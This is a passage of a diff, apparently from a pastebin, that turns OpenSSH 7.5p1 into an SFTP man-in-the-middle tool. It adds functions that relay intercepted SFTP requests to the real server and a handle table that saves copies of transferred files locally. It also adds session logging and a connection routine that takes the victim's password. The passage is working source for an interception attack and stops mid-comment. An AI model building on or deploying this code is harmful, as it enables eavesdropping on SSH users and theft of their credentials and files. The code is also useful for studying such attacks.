  2136. +   send_string_request(conn, id, SSH2_FXP_READLINK, path, strlen(path));
  2137. +
  2138. +   if ((msg = sshbuf_new()) == NULL)
  2139. +       fatal("%s: sshbuf_new failed", __func__);
  2140. +
  2141. +   get_msg(conn, msg);
  2142. +   if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
  2143. +       (r = sshbuf_get_u32(msg, &id)) != 0)
  2144. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2145. +
  2146. +   if (id != expected_id)
  2147. +       fatal("ID mismatch (%u != %u)", id, expected_id);
  2148. +
  2149. +   if (type == SSH2_FXP_STATUS) {
  2150. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  2151. +           fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2152. +       sshbuf_free(msg); msg = NULL;
  2153. +       return 0;
  2154. +   } else if (type != SSH2_FXP_NAME)
  2155. +       fatal("Expected SSH2_FXP_NAME(%u) packet, got %u",
  2156. +           SSH2_FXP_NAME, type);
  2157. +
  2158. +   if ((r = sshbuf_get_u32(msg, &count)) != 0)
  2159. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2160. +   if (count != 1)
  2161. +       fatal("Got multiple names (%d) from SSH_FXP_READLINK", count);
  2162. +
  2163. +   if ((r = sshbuf_get_cstring(msg, filename, NULL)) != 0 ||
  2164. +       (r = sshbuf_get_cstring(msg, longname, NULL)) != 0 ||
  2165. +       (r = decode_attrib(msg, a)) != 0)
  2166. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2167. +
  2168. +   debug3("SSH_FXP_READLINK %s -> %s", path, *filename);
  2169. +   sshbuf_free(msg); msg = NULL;
  2170. +   return 1;
  2171. +}
  2172. +
  2173. +u_int
  2174. +mitm_do_symlink(struct sftp_conn *conn, const char *oldpath, const char *newpath)
  2175. +{
  2176. +   struct sshbuf *msg;
  2177. +   u_int id;
  2178. +   int r;
  2179. +
  2180. +   if (conn->version < 3)
  2181. +       return SSH2_FX_OP_UNSUPPORTED;
  2182. +
  2183. +   if ((msg = sshbuf_new()) == NULL)
  2184. +       fatal("%s: sshbuf_new failed", __func__);
  2185. +
  2186. +   /* Send symlink request */
  2187. +   id = conn->msg_id++;
  2188. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_SYMLINK)) != 0 ||
  2189. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2190. +       (r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
  2191. +       (r = sshbuf_put_cstring(msg, newpath)) != 0)
  2192. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2193. +   send_msg(conn, msg);
  2194. +   debug3("Sent message SSH2_FXP_SYMLINK \"%s\" -> \"%s\"", oldpath,
  2195. +       newpath);
  2196. +   sshbuf_free(msg); msg = NULL;
  2197. +
  2198. +   return get_status(conn, id);
  2199. +}
  2200. +
  2201. +int
  2202. +mitm_do_statvfs(struct sftp_conn *conn, const char *path, struct statvfs *st, u_int *status)
  2203. +{
  2204. +   struct sshbuf *msg;
  2205. +   u_int id;
  2206. +   int r;
  2207. +   struct sftp_statvfs sftp_st;
  2208. +
  2209. +   if ((conn->exts & SFTP_EXT_STATVFS) == 0)
  2210. +       return SSH2_FX_OP_UNSUPPORTED;
  2211. +
  2212. +   id = conn->msg_id++;
  2213. +
  2214. +   if ((msg = sshbuf_new()) == NULL)
  2215. +       fatal("%s: sshbuf_new failed", __func__);
  2216. +   sshbuf_reset(msg);
  2217. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
  2218. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2219. +       (r = sshbuf_put_cstring(msg, "statvfs@openssh.com")) != 0 ||
  2220. +       (r = sshbuf_put_cstring(msg, path)) != 0)
  2221. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2222. +   send_msg(conn, msg);
  2223. +   sshbuf_free(msg); msg = NULL;
  2224. +
  2225. +   if (get_decode_statvfs(conn, &sftp_st, id, 1, status) == -1)
  2226. +     return -1;
  2227. +
  2228. +   st->f_bsize = sftp_st.f_bsize;
  2229. +   st->f_frsize = sftp_st.f_frsize;
  2230. +   st->f_blocks = sftp_st.f_blocks;
  2231. +   st->f_bfree = sftp_st.f_bfree;
  2232. +   st->f_bavail = sftp_st.f_bavail;
  2233. +   st->f_files = sftp_st.f_files;
  2234. +   st->f_ffree = sftp_st.f_ffree;
  2235. +   st->f_favail = sftp_st.f_favail;
  2236. +   st->f_fsid = sftp_st.f_fsid;
  2237. +   st->f_flag = sftp_st.f_flag;
  2238. +   st->f_namemax = sftp_st.f_namemax;
  2239. +   return 1;
  2240. +}
  2241. +
  2242. +int
  2243. +mitm_do_fstatvfs(struct sftp_conn *conn, const u_char *handle, size_t handle_len, struct statvfs *st, u_int *status)
  2244. +{
  2245. +   struct sshbuf *msg;
  2246. +   int r;
  2247. +   u_int id;
  2248. +   struct sftp_statvfs sftp_st;
  2249. +
  2250. +   if ((conn->exts & SFTP_EXT_FSTATVFS) == 0)
  2251. +       return SSH2_FX_OP_UNSUPPORTED;
  2252. +
  2253. +   id = conn->msg_id++;
  2254. +
  2255. +   if ((msg = sshbuf_new()) == NULL)
  2256. +       fatal("%s: sshbuf_new failed", __func__);
  2257. +   sshbuf_reset(msg);
  2258. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
  2259. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2260. +       (r = sshbuf_put_cstring(msg, "fstatvfs@openssh.com")) != 0 ||
  2261. +       (r = sshbuf_put_string(msg, handle, (u_int)handle_len)) != 0)
  2262. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2263. +   send_msg(conn, msg);
  2264. +   sshbuf_free(msg); msg = NULL;
  2265. +
  2266. +   if (get_decode_statvfs(conn, &sftp_st, id, 1, status) == -1)
  2267. +     return -1;
  2268. +
  2269. +   st->f_bsize = sftp_st.f_bsize;
  2270. +   st->f_frsize = sftp_st.f_frsize;
  2271. +   st->f_blocks = sftp_st.f_blocks;
  2272. +   st->f_bfree = sftp_st.f_bfree;
  2273. +   st->f_bavail = sftp_st.f_bavail;
  2274. +   st->f_files = sftp_st.f_files;
  2275. +   st->f_ffree = sftp_st.f_ffree;
  2276. +   st->f_favail = sftp_st.f_favail;
  2277. +   st->f_fsid = sftp_st.f_fsid;
  2278. +   st->f_flag = sftp_st.f_flag;
  2279. +   st->f_namemax = sftp_st.f_namemax;
  2280. +   return 1;
  2281. +}
  2282. +
  2283. +u_int
  2284. +mitm_do_hardlink(struct sftp_conn *conn, const char *oldpath, const char *newpath)
  2285. +{
  2286. +   struct sshbuf *msg;
  2287. +   u_int id;
  2288. +   int r;
  2289. +
  2290. +   if ((conn->exts & SFTP_EXT_HARDLINK) == 0)
  2291. +       return SSH2_FX_OP_UNSUPPORTED;
  2292. +
  2293. +   if ((msg = sshbuf_new()) == NULL)
  2294. +       fatal("%s: sshbuf_new failed", __func__);
  2295. +
  2296. +   /* Send link request */
  2297. +   id = conn->msg_id++;
  2298. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
  2299. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2300. +       (r = sshbuf_put_cstring(msg, "hardlink@openssh.com")) != 0 ||
  2301. +       (r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
  2302. +       (r = sshbuf_put_cstring(msg, newpath)) != 0)
  2303. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2304. +   send_msg(conn, msg);
  2305. +   debug3("Sent message hardlink@openssh.com \"%s\" -> \"%s\"",
  2306. +          oldpath, newpath);
  2307. +   sshbuf_free(msg); msg = NULL;
  2308. +
  2309. +   return get_status(conn, id);
  2310. +}
  2311. +
  2312. +u_int
  2313. +mitm_do_fsync(struct sftp_conn *conn, u_char *handle, size_t handle_len)
  2314. +{
  2315. +   struct sshbuf *msg;
  2316. +   u_int id;
  2317. +   int r;
  2318. +
  2319. +   /* Silently return if the extension is not supported */
  2320. +   if ((conn->exts & SFTP_EXT_FSYNC) == 0)
  2321. +       return SSH2_FX_OP_UNSUPPORTED;
  2322. +
  2323. +   /* Send fsync request */
  2324. +   if ((msg = sshbuf_new()) == NULL)
  2325. +       fatal("%s: sshbuf_new failed", __func__);
  2326. +   id = conn->msg_id++;
  2327. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
  2328. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2329. +       (r = sshbuf_put_cstring(msg, "fsync@openssh.com")) != 0 ||
  2330. +       (r = sshbuf_put_string(msg, handle, (u_int)handle_len)) != 0)
  2331. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2332. +   send_msg(conn, msg);
  2333. +   debug3("Sent message fsync@openssh.com I:%u", id);
  2334. +   sshbuf_free(msg); msg = NULL;
  2335. +
  2336. +   return get_status(conn, id);
  2337. +}
  2338. +
  2339. +/* Returns the handle on success (which must be free()'ed by the caller) and sets the "handle_len" arg, or NULL.  On failure, the "status" arg is set. */
  2340. +u_char *
  2341. +mitm_do_open(struct sftp_conn *conn, char *remote_path, u_int32_t pflags, Attrib *a, size_t *handle_len, u_int *status) {
  2342. +   u_char *handle = NULL;
  2343. +   struct sshbuf *msg;
  2344. +   u_int id;
  2345. +   int r;
  2346. +
  2347. +   if ((msg = sshbuf_new()) == NULL)
  2348. +       fatal("%s: sshbuf_new failed", __func__);
  2349. +   id = conn->msg_id++;
  2350. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_OPEN)) != 0 ||
  2351. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2352. +       (r = sshbuf_put_cstring(msg, remote_path)) != 0 ||
  2353. +       (r = sshbuf_put_u32(msg, pflags)) != 0 ||
  2354. +       (r = encode_attrib(msg, a)) != 0)
  2355. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2356. +   send_msg(conn, msg);
  2357. +   debug3("Sent message SSH2_FXP_OPEN I:%u P:%s", id, remote_path);
  2358. +
  2359. +   handle = get_handle(conn, id, status, handle_len, "remote open(\"%s\")", remote_path);
  2360. +   sshbuf_free(msg); msg = NULL;
  2361. +   return handle;
  2362. +}
  2363. +
  2364. +/* Returns a pointer to a char buffer of read data on success (which must be free()'ed by the caller) with the "read_len" argument set with the number bytes returned, or NULL on failure with the "status" arg set accordingly. */
  2365. +u_char *
  2366. +mitm_do_read(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_int32_t read_len, size_t *ret_len, u_int *status) {
  2367. +   struct sshbuf *msg;
  2368. +   int r;
  2369. +   u_int id;
  2370. +   u_char type;
  2371. +   u_char *ret = NULL;
  2372. +
  2373. +   if ((msg = sshbuf_new()) == NULL)
  2374. +       fatal("%s: sshbuf_new failed", __func__);
  2375. +
  2376. +   id = conn->msg_id++;
  2377. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_READ)) != 0 ||
  2378. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2379. +       (r = sshbuf_put_string(msg, handle, handle_len)) != 0 ||
  2380. +       (r = sshbuf_put_u64(msg, offset)) != 0 ||
  2381. +       (r = sshbuf_put_u32(msg, read_len)) != 0)
  2382. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2383. +
  2384. +   send_msg(conn, msg);
  2385. +   sshbuf_reset(msg);
  2386. +   get_msg(conn, msg);
  2387. +
  2388. +   if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
  2389. +       (r = sshbuf_get_u32(msg, &id)) != 0)
  2390. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2391. +
  2392. +   if (type == SSH2_FXP_STATUS) {
  2393. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  2394. +           fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2395. +       sshbuf_free(msg); msg = NULL;
  2396. +       *ret_len = 0;
  2397. +       return NULL;
  2398. +   } else if (type == SSH2_FXP_DATA) {
  2399. +       if ((r = sshbuf_get_string(msg, &ret, ret_len)) != 0)
  2400. +           fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2401. +   } else
  2402. +       fatal("%s: unexpected type received: %u", __func__, type);
  2403. +
  2404. +   sshbuf_free(msg); msg = NULL;
  2405. +   return ret;
  2406. +}
  2407. +
  2408. +u_int
  2409. +mitm_do_write(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_char *buf, u_int buf_len) {
  2410. +   struct sshbuf *msg;
  2411. +   int r;
  2412. +   u_int id;
  2413. +   u_char type;
  2414. +   u_int status = 0;
  2415. +
  2416. +   if ((msg = sshbuf_new()) == NULL)
  2417. +       fatal("%s: sshbuf_new failed", __func__);
  2418. +
  2419. +   id = conn->msg_id++;
  2420. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_WRITE)) != 0 ||
  2421. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2422. +       (r = sshbuf_put_string(msg, handle, handle_len)) != 0 ||
  2423. +       (r = sshbuf_put_u64(msg, offset)) != 0 ||
  2424. +       (r = sshbuf_put_string(msg, buf, buf_len)) != 0)
  2425. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2426. +
  2427. +   send_msg(conn, msg);
  2428. +   sshbuf_reset(msg);
  2429. +   get_msg(conn, msg);
  2430. +
  2431. +   if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
  2432. +       (r = sshbuf_get_u32(msg, &id)) != 0)
  2433. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2434. +
  2435. +   if (type != SSH2_FXP_STATUS)
  2436. +       fatal("Expected SSH2_FXP_STATUS(%d) packet, got %d", SSH2_FXP_STATUS, type);
  2437. +
  2438. +   if ((r = sshbuf_get_u32(msg, &status)) != 0)
  2439. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2440. +
  2441. +   sshbuf_free(msg); msg = NULL;
  2442. +   return status;
  2443. +}
  2444. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-client.h openssh-7.5p1-mitm/sftp-client.h
  2445. --- openssh-7.5p1/sftp-client.h 2017-03-19 22:39:27.000000000 -0400
  2446. +++ openssh-7.5p1-mitm/sftp-client.h    2018-06-12 17:44:46.345760658 -0400
  2447. @@ -21,6 +21,9 @@
  2448. #ifndef _SFTP_CLIENT_H
  2449. #define _SFTP_CLIENT_H
  2450.  
  2451. +#include <sys/statvfs.h>
  2452. +#include "misc.h"
  2453. +
  2454. #ifdef USE_SYSTEM_GLOB
  2455. # include <glob.h>
  2456. #else
  2457. @@ -53,6 +56,23 @@
  2458.     u_int64_t f_namemax;
  2459. };
  2460.  
  2461. +struct sftp_conn {
  2462. +   int fd_in;
  2463. +   int fd_out;
  2464. +   u_int transfer_buflen;
  2465. +   u_int num_requests;
  2466. +   u_int version;
  2467. +   u_int msg_id;
  2468. +#define SFTP_EXT_POSIX_RENAME  0x00000001
  2469. +#define SFTP_EXT_STATVFS   0x00000002
  2470. +#define SFTP_EXT_FSTATVFS  0x00000004
  2471. +#define SFTP_EXT_HARDLINK  0x00000008
  2472. +#define SFTP_EXT_FSYNC     0x00000010
  2473. +   u_int exts;
  2474. +   u_int64_t limit_kbps;
  2475. +   struct bwlimit bwlimit_in, bwlimit_out;
  2476. +};
  2477. +
  2478. /*
  2479.  * Initialise a SSH filexfer connection. Returns NULL on error or
  2480.  * a pointer to a initialized sftp_conn struct on success.
  2481. @@ -80,10 +100,10 @@
  2482. int do_rmdir(struct sftp_conn *, const char *);
  2483.  
  2484. /* Get file attributes of 'path' (follows symlinks) */
  2485. -Attrib *do_stat(struct sftp_conn *, const char *, int);
  2486. +Attrib *do_stat(struct sftp_conn *, const char *, int, u_int *);
  2487.  
  2488. /* Get file attributes of 'path' (does not follow symlinks) */
  2489. -Attrib *do_lstat(struct sftp_conn *, const char *, int);
  2490. +Attrib *do_lstat(struct sftp_conn *, const char *, int, u_int *);
  2491.  
  2492. /* Set file attributes of 'path' */
  2493. int do_setstat(struct sftp_conn *, const char *, Attrib *);
  2494. @@ -92,7 +112,7 @@
  2495. int do_fsetstat(struct sftp_conn *, const u_char *, u_int, Attrib *);
  2496.  
  2497. /* Canonicalise 'path' - caller must free result */
  2498. -char *do_realpath(struct sftp_conn *, const char *);
  2499. +char *do_realpath(struct sftp_conn *, const char *, u_int *);
  2500.  
  2501. /* Get statistics for filesystem hosting file at "path" */
  2502. int do_statvfs(struct sftp_conn *, const char *, struct sftp_statvfs *, int);
  2503. @@ -139,4 +159,42 @@
  2504. /* Concatenate paths, taking care of slashes. Caller must free result. */
  2505. char *path_append(const char *, const char *);
  2506.  
  2507. +u_int mitm_do_close(struct sftp_conn *conn, const u_char *handle, u_int handle_len);
  2508. +
  2509. +u_int mitm_do_fsetstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, Attrib *a);
  2510. +
  2511. +Attrib *mitm_do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, int quiet, u_int *status);
  2512. +
  2513. +int mitm_do_fstatvfs(struct sftp_conn *conn, const u_char *handle, size_t handle_len, struct statvfs *st, u_int *status);
  2514. +
  2515. +u_int mitm_do_fsync(struct sftp_conn *conn, u_char *handle, size_t handle_len);
  2516. +
  2517. +u_int mitm_do_hardlink(struct sftp_conn *conn, const char *oldpath, const char *newpath);
  2518. +
  2519. +u_int mitm_do_mkdir(struct sftp_conn *conn, const char *path, Attrib *a);
  2520. +
  2521. +u_char *mitm_do_open(struct sftp_conn *conn, char *remote_path, u_int32_t pflags, Attrib *a, size_t *handle_len, u_int *status);
  2522. +
  2523. +u_char *mitm_do_opendir(struct sftp_conn *conn, const char *path, size_t *handle_len, int *status);
  2524. +
  2525. +u_char *mitm_do_read(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_int32_t read_len, size_t *ret_len, u_int *status);
  2526. +
  2527. +Stat *mitm_do_readdir(struct sftp_conn *conn, u_int32_t id, u_char *handle_str, size_t handle_len, u_int *count, int *status);
  2528. +
  2529. +int mitm_do_readlink(struct sftp_conn *conn, const char *path, u_int *status, char **filename, char **longname, Attrib *a);
  2530. +
  2531. +u_int mitm_do_rename(struct sftp_conn *conn, const char *oldpath, const char *newpath, int force_legacy);
  2532. +
  2533. +u_int mitm_do_rmdir(struct sftp_conn *conn, const char *path);
  2534. +
  2535. +u_int mitm_do_rm(struct sftp_conn *conn, const char *path);
  2536. +
  2537. +u_int mitm_do_setstat(struct sftp_conn *conn, const char *path, Attrib *a);
  2538. +
  2539. +int mitm_do_statvfs(struct sftp_conn *conn, const char *path, struct statvfs *st, u_int *status);
  2540. +
  2541. +u_int mitm_do_symlink(struct sftp_conn *conn, const char *oldpath, const char *newpath);
  2542. +
  2543. +u_int mitm_do_write(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_char *buf, u_int buf_len);
  2544. +
  2545. #endif
  2546. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-common.h openssh-7.5p1-mitm/sftp-common.h
  2547. --- openssh-7.5p1/sftp-common.h 2017-03-19 22:39:27.000000000 -0400
  2548. +++ openssh-7.5p1-mitm/sftp-common.h    2018-06-12 17:44:46.345760658 -0400
  2549. @@ -50,3 +50,12 @@
  2550.  char   *ls_file(const char *, const struct stat *, int, int);
  2551.  
  2552. const char *fx2txt(int);
  2553. +
  2554. +/* portable attributes, etc. */
  2555. +typedef struct Stat Stat;
  2556. +
  2557. +struct Stat {
  2558. +   char *name;
  2559. +   char *long_name;
  2560. +   Attrib attrib;
  2561. +};
  2562. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-glob.c openssh-7.5p1-mitm/sftp-glob.c
  2563. --- openssh-7.5p1/sftp-glob.c   2017-03-19 22:39:27.000000000 -0400
  2564. +++ openssh-7.5p1-mitm/sftp-glob.c  2018-06-12 17:44:46.345760658 -0400
  2565. @@ -111,8 +111,9 @@
  2566. fudge_lstat(const char *path, struct stat *st)
  2567. {
  2568.     Attrib *a;
  2569. +   u_int status;
  2570.  
  2571. -   if (!(a = do_lstat(cur.conn, (char *)path, 1)))
  2572. +   if (!(a = do_lstat(cur.conn, (char *)path, 1, &status)))
  2573.         return(-1);
  2574.  
  2575.     attrib_to_stat(a, st);
  2576. @@ -124,8 +125,9 @@
  2577. fudge_stat(const char *path, struct stat *st)
  2578. {
  2579.     Attrib *a;
  2580. +   u_int status;
  2581.  
  2582. -   if (!(a = do_stat(cur.conn, (char *)path, 1)))
  2583. +   if (!(a = do_stat(cur.conn, (char *)path, 1, &status)))
  2584.         return(-1);
  2585.  
  2586.     attrib_to_stat(a, st);
  2587. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp.h openssh-7.5p1-mitm/sftp.h
  2588. --- openssh-7.5p1/sftp.h    2017-03-19 22:39:27.000000000 -0400
  2589. +++ openssh-7.5p1-mitm/sftp.h   2018-06-12 17:44:46.345760658 -0400
  2590. @@ -97,5 +97,5 @@
  2591.  
  2592. struct passwd;
  2593.  
  2594. -int    sftp_server_main(int, char **, struct passwd *);
  2595. +int    sftp_server_main(int, char **, struct passwd *, char *, unsigned short, char *, char *, char *, char *);
  2596.  void   sftp_server_cleanup_exit(int) __attribute__((noreturn));
  2597. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-server.c openssh-7.5p1-mitm/sftp-server.c
  2598. --- openssh-7.5p1/sftp-server.c 2017-03-19 22:39:27.000000000 -0400
  2599. +++ openssh-7.5p1-mitm/sftp-server.c    2018-06-12 17:44:46.345760658 -0400
  2600. @@ -39,6 +39,7 @@
  2601. #include <time.h>
  2602. #include <unistd.h>
  2603. #include <stdarg.h>
  2604. +#include <sys/wait.h>
  2605.  
  2606. #include "xmalloc.h"
  2607. #include "sshbuf.h"
  2608. @@ -50,6 +51,8 @@
  2609.  
  2610. #include "sftp.h"
  2611. #include "sftp-common.h"
  2612. +#include "sftp-client.h"
  2613. +#include "lol.h"
  2614.  
  2615. /* Our verbosity */
  2616. static LogLevel log_level = SYSLOG_LEVEL_ERROR;
  2617. @@ -74,15 +77,41 @@
  2618. /* Requests that are allowed/denied */
  2619. static char *request_whitelist, *request_blacklist;
  2620.  
  2621. -/* portable attributes, etc. */
  2622. -typedef struct Stat Stat;
  2623. -
  2624. -struct Stat {
  2625. -   char *name;
  2626. -   char *long_name;
  2627. -   Attrib attrib;
  2628. +pid_t sshpid = -1;
  2629. +volatile sig_atomic_t interrupted = 0;
  2630. +int showprogress = 0;
  2631. +extern struct sftp_conn *client_conn;
  2632. +int session_log_fd = -1;      /* A descriptor to this session's log file. */
  2633. +char *session_log_dir = NULL; /* The directory to store SFTP files in. */
  2634. +
  2635. +#define MITM_HANDLE_TYPE_FILE 0
  2636. +#define MITM_HANDLE_TYPE_DIR 1
  2637. +
  2638. +/* This maps a remote server's handle to a local file descriptor. */
  2639. +typedef struct MITMHandle MITMHandle;
  2640. +struct MITMHandle {
  2641. +  int in_use;          /* If 1, this slot is in use, otherwise it is unallocated.  */
  2642. +  u_int type;          /* One of the MITM_HANDLE_TYPE_ flags. */
  2643. +  char *handle_str;    /* The file handle on the remote server. */
  2644. +  size_t handle_len;   /* The number of bytes the above file handle is. */
  2645. +  int fd;              /* The local file descriptor. */
  2646. +  u_int32_t pflags;    /* The portable flags this file was opened with. */
  2647. +  char *original_path; /* The full path of the original file transferred. */
  2648. +  char *actual_path;   /* The relative path that the file was saved to locally. */
  2649. +  char *file_listing;  /* The file listing (if type == MITM_HANDLE_TYPE_DIR). */
  2650. +  size_t file_listing_size; /* The size of the file_listing buffer. */
  2651. };
  2652.  
  2653. +MITMHandle *mitm_handles = NULL; /* Our array of handles. */
  2654. +u_int num_mitm_handles = 0;  /* The current size of the mitm_handles array. */
  2655. +
  2656. +/* When mitm_handles runs out of free slots, it will grow by this many. */
  2657. +#define MITM_HANDLES_NEW_BLOCK 16
  2658. +
  2659. +/* The block size that the MITMHandle.file_listing buffer grows by. */
  2660. +#define MITM_HANDLES_FILE_LISTING_BLOCK 1024
  2661. +
  2662. +
  2663. /* Packet handlers */
  2664. static void process_open(u_int32_t id);
  2665. static void process_close(u_int32_t id);
  2666. @@ -109,6 +138,29 @@
  2667. static void process_extended_fsync(u_int32_t id);
  2668. static void process_extended(u_int32_t id);
  2669.  
  2670. +struct sftp_conn *make_connection(char *host, unsigned short port, char *username, char *password_and_fingerprint_socket_name);
  2671. +void mitm_init_log(char *log_filepath, char *log_dir);
  2672. +void mitm_handle_close(const char *handle_str, size_t handle_len);
  2673. +void mitm_handle_free(MITMHandle *mh);
  2674. +void mitm_handle_init(MITMHandle *mh);
  2675. +void mitm_handle_new(u_int type, char *original_name, u_int32_t pflags, const char *handle_str, size_t handle_len);
  2676. +void mitm_handle_read_write(char *handle_str, size_t handle_len, u_int64_t offset, u_char *buf, size_t buf_len);
  2677. +MITMHandle *mitm_handle_search(const char *handle_str, size_t handle_len);
  2678. +void sftp_log(u_int status, const char *fmt, ...);
  2679. +void sftp_log_no_filter(u_int status, const char *fmt, ...);
  2680. +void _sftp_log(u_int status, u_int do_xss_filtering, char *buf, int buf_len);
  2681. +void sftp_log_close(u_int status, char *handle_str, size_t handle_len);
  2682. +void sftp_log_attrib(const char *func, u_int status, char *name, Attrib *a);
  2683. +void sftp_log_handle_attrib(const char *func, u_int status, char *handle_str, size_t handle_len, Attrib *a);
  2684. +void sftp_log_readdir(char *handle_str, size_t handle_len, char *listing);
  2685. +void sftp_log_statvfs(u_int status, char *path, struct statvfs *st);
  2686. +void sftp_log_fstatvfs(u_int status, char *handle_str, size_t handle_len, struct statvfs *st);
  2687. +void sftp_log_fsync(u_int status, char *handle_str, size_t handle_len);
  2688. +void xss_sanitize(char *buf, int buf_len);
  2689. +
  2690. +/* The error message for functions that search for file handles. */
  2691. +#define CANT_FIND_HANDLE "MITM: %s: can't find handle!"
  2692. +
  2693. struct sftp_handler {
  2694.     const char *name;   /* user-visible name for fine-grained perms */
  2695.     const char *ext_name;   /* extended request name */
  2696. @@ -179,6 +231,7 @@
  2697.     return 1;
  2698. }
  2699.  
  2700. +/*
  2701. static int
  2702. errno_to_portable(int unixerrno)
  2703. {
  2704. @@ -236,7 +289,7 @@
  2705.         flags |= O_EXCL;
  2706.     return flags;
  2707. }
  2708. -
  2709. +*/
  2710. static const char *
  2711. string_from_portable(int pflags)
  2712. {
  2713. @@ -266,6 +319,7 @@
  2714.     return ret;
  2715. }
  2716.  
  2717. +
  2718. /* handle handles */
  2719.  
  2720. typedef struct Handle Handle;
  2721. @@ -289,6 +343,195 @@
  2722. u_int num_handles = 0;
  2723. int first_unused_handle = -1;
  2724.  
  2725. +
  2726. +/* Frees a handle slot and re-initializes it. */
  2727. +void mitm_handle_free(MITMHandle *mh) {
  2728. +  if (mh != NULL) {
  2729. +    free(mh->handle_str);
  2730. +    free(mh->original_path);
  2731. +    free(mh->actual_path);
  2732. +    free(mh->file_listing);
  2733. +    mitm_handle_init(mh);
  2734. +  }
  2735. +}
  2736. +
  2737. +/* Initializes a handle slot. Use mitm_handle_free() on previously-occupied
  2738. + * slots. */
  2739. +void mitm_handle_init(MITMHandle *mh) {
  2740. +  if (mh != NULL) {
  2741. +    mh->in_use = 0;
  2742. +    mh->type = 0;
  2743. +    mh->handle_str = NULL;
  2744. +    mh->handle_len = 0;
  2745. +    mh->fd = -1;
  2746. +    mh->pflags = 0;
  2747. +    mh->original_path = NULL;
  2748. +    mh->actual_path = NULL;
  2749. +    mh->file_listing = NULL;
  2750. +    mh->file_listing_size = 0;
  2751. +  }
  2752. +}
  2753. +
  2754. +/* Adds a new handle, given its type (MITM_HANDLE_TYPE_{FILE,DIR}), original
  2755. + * path, open flags, and remote server handle. */
  2756. +void mitm_handle_new(u_int type, char *original_path, u_int32_t pflags, const char *handle_str, size_t handle_len) {
  2757. +  int unused_handle = -1, actual_path_len = 0;;
  2758. +  u_int i = 0, num_tries = 0, r = 0;
  2759. +  char file_path[PATH_MAX];
  2760. +  char *file_prefix = NULL, *temp_name = NULL, *log_dir = NULL;
  2761. +
  2762. +  /* On first invokation, the mitm_handles array is unallocated. */
  2763. +  if (mitm_handles == NULL) {
  2764. +    if ((mitm_handles = reallocarray(NULL, MITM_HANDLES_NEW_BLOCK, sizeof(MITMHandle))) == NULL)
  2765. +      fatal("Could not allocate array for MITMHandles.");
  2766. +
  2767. +    num_mitm_handles = MITM_HANDLES_NEW_BLOCK;
  2768. +
  2769. +    /* Initializes all the slots. */
  2770. +    for (i = 0; i < num_mitm_handles; i++)
  2771. +      mitm_handle_init(&mitm_handles[i]);
  2772. +
  2773. +    /* Since we just allocated a new array, we know slot 0 is unoccupied. */
  2774. +    unused_handle = 0;
  2775. +  }
  2776. +
  2777. +  /* Sequentially search for an unused slot in the array. */
  2778. +  for (i = 0; (i < num_mitm_handles) && (unused_handle == -1); i++) {
  2779. +    /* If we found one, save its slot index. */
  2780. +    if (mitm_handles[i].in_use == 0)
  2781. +      unused_handle = i;
  2782. +  }
  2783. +
  2784. +  /* If, after searching the entire array, we haven't found an open slot, we
